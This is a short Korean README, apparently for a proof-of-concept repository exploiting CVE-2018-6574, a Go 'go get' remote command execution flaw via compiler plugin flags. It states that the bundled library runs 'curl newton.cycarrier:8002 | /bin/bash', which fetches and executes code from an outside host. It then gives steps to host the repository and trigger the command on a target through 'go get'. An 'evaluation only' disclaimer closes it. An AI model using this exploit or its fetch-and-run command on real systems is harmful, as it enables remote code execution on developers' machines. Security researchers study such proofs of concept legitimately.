
CVE-2018-6574에 대한 개념 증명 익스플로잇으로, Go의 go get 명령어에서 소스 코드 빌드 중 악성 컴파일러 플러그인을 통해 원격 명령 실행을 시연합니다.
Go 1.8.7 이전, Go 1.9.x (1.9.4 이전), Go 1.10 프리릴리스 (1.10rc2 이전) 버전에서는 소스 코드 빌드 중에 go get 원격 명령 실행이 가능합니다. 이는 gcc 또는 clang 플러그인 기능을 활용하여 -fplugin= 및 -plugin= 인수가 차단되지 않았기 때문입니다. (mitre에서 인용)
명령은 동적 라이브러리 calc_darwin.so로 컴파일되었습니다. 현재 명령은 curl newton.cycarrier:8002 | /bin/bash입니다. 이는 프로그램의 초기 접근으로 사용되었습니다. 포트 8002에서 파일 서버를 호스팅하고 호스트를 자신의 IP에 바인딩해야 합니다.
먼저, 대상 시스템에 필요한 golang 버전을 설치해야 합니다. 그런 다음, 접근 가능한 git 서버에 이 저장소를 호스팅합니다. 마지막으로, go get 명령을 사용하여 이 저장소를 가져오면 명령이 자동으로 실행됩니다.
제 저장소를 예로 들면, 다음 명령을 사용해야 합니다:
go get github.com/frozenkp/CVE-2018-6574
이 저장소는 평가 목적으로만 사용됩니다.